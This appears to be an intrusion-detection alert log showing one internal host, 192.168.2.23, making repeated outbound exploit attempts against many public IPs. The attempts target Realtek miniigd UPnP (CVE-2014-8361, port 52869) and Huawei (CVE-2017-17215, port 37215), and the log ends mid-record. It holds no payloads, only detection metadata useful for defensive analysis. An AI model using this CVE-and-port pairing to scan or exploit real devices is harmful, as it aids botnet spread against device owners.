ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.199.253.233

Timestamp:	07/20/24-23:01:55.262010
SID:	2027339
Source Port:	40798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.189.157

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	57110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.49.109.135

Timestamp:	07/20/24-23:01:14.100332
SID:	2829579
Source Port:	60878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.100.148.20

Timestamp:	07/20/24-23:01:46.323644
SID:	2025132
Source Port:	53882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.92.88.25

Timestamp:	07/20/24-23:01:53.675171
SID:	2025132
Source Port:	53096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.110.120.103

Timestamp:	07/20/24-23:01:54.727406
SID:	2831300
Source Port:	49250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.190.18.125

Timestamp:	07/20/24-23:01:31.976649
SID:	2835222
Source Port:	40180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.246.56.225

Timestamp:	07/20/24-23:01:42.688831
SID:	2027339
Source Port:	35844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.123.66.167

Timestamp:	07/20/24-23:01:51.014531
SID:	2027339
Source Port:	43234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.196.42.92

Timestamp:	07/20/24-23:01:14.100332
SID:	2829579
Source Port:	46206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.235.222.86

Timestamp:	07/20/24-23:01:58.353725
SID:	2025132
Source Port:	34064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.186.238.85

Timestamp:	07/20/24-23:01:42.452119
SID:	2027339
Source Port:	41008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.173.38.241

Timestamp:	07/20/24-23:01:08.613164
SID:	2027339
Source Port:	57934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.181.232.193

Timestamp:	07/20/24-23:01:44.405053
SID:	2027339
Source Port:	49608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.242.54.73

Timestamp:	07/20/24-23:01:20.132511
SID:	2829579
Source Port:	53800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.98.241.246

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.123.59.88

Timestamp:	07/20/24-23:01:21.951975
SID:	2835222
Source Port:	43410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 78.116.5.24

Timestamp:	07/20/24-23:01:34.045749
SID:	2835222
Source Port:	53856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.96.216

Timestamp:	07/20/24-23:01:21.915268
SID:	2829579
Source Port:	40924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.12.106.29

Timestamp:	07/20/24-23:01:00.654988
SID:	2829579
Source Port:	45546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.141.91.228

Timestamp:	07/20/24-23:00:57.220905
SID:	2829579
Source Port:	40282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.154.180.14

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	37724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.13.47.10

Timestamp:	07/20/24-23:01:41.323363
SID:	2027339
Source Port:	57652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.174.70.107

Timestamp:	07/20/24-23:01:41.488676
SID:	2027339
Source Port:	36638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.144.22

Timestamp:	07/20/24-23:01:06.988055
SID:	2829579
Source Port:	51074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.246.61

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	37002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.66.196.35

Timestamp:	07/20/24-23:01:49.231608
SID:	2027339
Source Port:	45954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.215.81.142

Timestamp:	07/20/24-23:01:01.415907
SID:	2027339
Source Port:	57270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.200.138.62

Timestamp:	07/20/24-23:01:31.329969
SID:	2831300
Source Port:	39478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.76.139.116

Timestamp:	07/20/24-23:01:43.135090
SID:	2025132
Source Port:	39010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.161.89.160

Timestamp:	07/20/24-23:01:45.202570
SID:	2831300
Source Port:	53546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.104.180.12

Timestamp:	07/20/24-23:01:52.877228
SID:	2027339
Source Port:	56862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.113.152.211

Timestamp:	07/20/24-23:01:04.114673
SID:	2835222
Source Port:	53382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.134.216.118

Timestamp:	07/20/24-23:01:46.143923
SID:	2027339
Source Port:	43004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.197.69.23

Timestamp:	07/20/24-23:01:04.082385
SID:	2829579
Source Port:	37702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.234.190.125

Timestamp:	07/20/24-23:01:42.454682
SID:	2025132
Source Port:	36628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:46.783122
SID:	2831300
Source Port:	38728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.118.231.218

Timestamp:	07/20/24-23:01:31.320679
SID:	2027339
Source Port:	47936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.66.149.229

Timestamp:	07/20/24-23:01:44.565131
SID:	2831300
Source Port:	39708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.135.90.32

Timestamp:	07/20/24-23:01:31.314906
SID:	2831300
Source Port:	52102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.158.218.166

Timestamp:	07/20/24-23:01:31.312894
SID:	2831300
Source Port:	53344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.111.39.192

Timestamp:	07/20/24-23:01:54.693625
SID:	2831300
Source Port:	60830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.145.45.176

Timestamp:	07/20/24-23:01:25.544921
SID:	2025132
Source Port:	46024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.184.173.22

Timestamp:	07/20/24-23:01:42.662466
SID:	2027339
Source Port:	34206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.158.63.237

Timestamp:	07/20/24-23:01:49.809920
SID:	2027339
Source Port:	60818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.114.93.203

Timestamp:	07/20/24-23:01:34.046616
SID:	2829579
Source Port:	53134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.144.159.228

Timestamp:	07/20/24-23:01:02.132906
SID:	2025132
Source Port:	41954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.58.232.126

Timestamp:	07/20/24-23:01:53.175676
SID:	2025132
Source Port:	42312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.97.71.90

Timestamp:	07/20/24-23:01:41.549052
SID:	2027339
Source Port:	58950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.162.140

Timestamp:	07/20/24-23:01:20.157619
SID:	2835222
Source Port:	41878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.115.71.173

Timestamp:	07/20/24-23:02:08.826483
SID:	2025132
Source Port:	38298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.182.174.70

Timestamp:	07/20/24-23:01:42.290838
SID:	2027339
Source Port:	37510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.200.215.102

Timestamp:	07/20/24-23:01:41.339597
SID:	2027339
Source Port:	48770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.210.119.115

Timestamp:	07/20/24-23:01:41.156801
SID:	2027339
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.209.39.214

Timestamp:	07/20/24-23:01:57.269160
SID:	2025132
Source Port:	34702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.88.221.210

Timestamp:	07/20/24-23:01:31.975158
SID:	2835222
Source Port:	58822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 80.165.144.55

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	47550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.204.114.80

Timestamp:	07/20/24-23:02:11.630112
SID:	2025132
Source Port:	50674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.188.48.47

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	35542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.55.199.122

Timestamp:	07/20/24-23:01:42.664090
SID:	2831300
Source Port:	58386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.118.63.112

Timestamp:	07/20/24-23:01:58.313085
SID:	2025132
Source Port:	51858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.189.156.39

Timestamp:	07/20/24-23:02:18.238800
SID:	2025132
Source Port:	35348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.250.13.148

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	52330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.42.160.177

Timestamp:	07/20/24-23:01:08.634900
SID:	2831300
Source Port:	55072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 44.253.8.229

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	36418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.145.211.206

Timestamp:	07/20/24-23:01:46.439689
SID:	2831300
Source Port:	48834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.236.184.127

Timestamp:	07/20/24-23:01:54.914948
SID:	2831300
Source Port:	54606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.252.46.199

Timestamp:	07/20/24-23:01:21.923917
SID:	2835222
Source Port:	46286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.107.52.197

Timestamp:	07/20/24-23:01:48.065745
SID:	2027339
Source Port:	48512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.151.71.150

Timestamp:	07/20/24-23:01:21.923917
SID:	2829579
Source Port:	54698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.27.67.46

Timestamp:	07/20/24-23:01:27.654172
SID:	2829579
Source Port:	48970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.117.206.14

Timestamp:	07/20/24-23:01:31.991336
SID:	2829579
Source Port:	58400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.106.167.57

Timestamp:	07/20/24-23:01:10.675827
SID:	2027339
Source Port:	40854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.119.169.7

Timestamp:	07/20/24-23:01:47.808098
SID:	2027339
Source Port:	34120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.130.70.21

Timestamp:	07/20/24-23:01:40.301143
SID:	2835222
Source Port:	55040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.207.42.25

Timestamp:	07/20/24-23:01:41.542563
SID:	2027339
Source Port:	60338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.64.148.15

Timestamp:	07/20/24-23:01:27.730585
SID:	2829579
Source Port:	54896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.191.214.143

Timestamp:	07/20/24-23:01:14.103467
SID:	2835222
Source Port:	42824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.110.210.1

Timestamp:	07/20/24-23:01:41.496780
SID:	2027339
Source Port:	49224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.70.219.104

Timestamp:	07/20/24-23:01:00.634089
SID:	2829579
Source Port:	48680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.247.8.242

Timestamp:	07/20/24-23:01:46.520663
SID:	2027339
Source Port:	50418
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.27.196.68

Timestamp:	07/20/24-23:01:47.663629
SID:	2025132
Source Port:	52128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.183.54.123

Timestamp:	07/20/24-23:01:41.182584
SID:	2025132
Source Port:	41186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.213.74.132

Timestamp:	07/20/24-23:01:45.683188
SID:	2027339
Source Port:	37380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.158.142.52

Timestamp:	07/20/24-23:01:47.891992
SID:	2025132
Source Port:	56782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.86.15.141

Timestamp:	07/20/24-23:01:52.019773
SID:	2025132
Source Port:	47734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.99.150.220

Timestamp:	07/20/24-23:01:08.606848
SID:	2027339
Source Port:	47194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 105.62.150.147

Timestamp:	07/20/24-23:01:14.097135
SID:	2835222
Source Port:	50178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.4.127.82

Timestamp:	07/20/24-23:01:49.207937
SID:	2025132
Source Port:	40814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.150.198

Timestamp:	07/20/24-23:01:00.634089
SID:	2835222
Source Port:	38216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.22.35.81

Timestamp:	07/20/24-23:02:05.036436
SID:	2027339
Source Port:	49572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.252.46.65

Timestamp:	07/20/24-23:01:02.079114
SID:	2835222
Source Port:	43806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.204.82.212

Timestamp:	07/20/24-23:01:41.236294
SID:	2027339
Source Port:	41822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.179.67.131

Timestamp:	07/20/24-23:01:52.089079
SID:	2027339
Source Port:	59652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.131.130.12

Timestamp:	07/20/24-23:01:02.076704
SID:	2027339
Source Port:	44404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.229.91.161

Timestamp:	07/20/24-23:01:31.312311
SID:	2027339
Source Port:	49010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.23.40.145

Timestamp:	07/20/24-23:01:21.928521
SID:	2829579
Source Port:	46762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.75.90.116

Timestamp:	07/20/24-23:01:41.474540
SID:	2025132
Source Port:	44732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.15.215.48

Timestamp:	07/20/24-23:01:41.383466
SID:	2025132
Source Port:	35130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.128.96.121

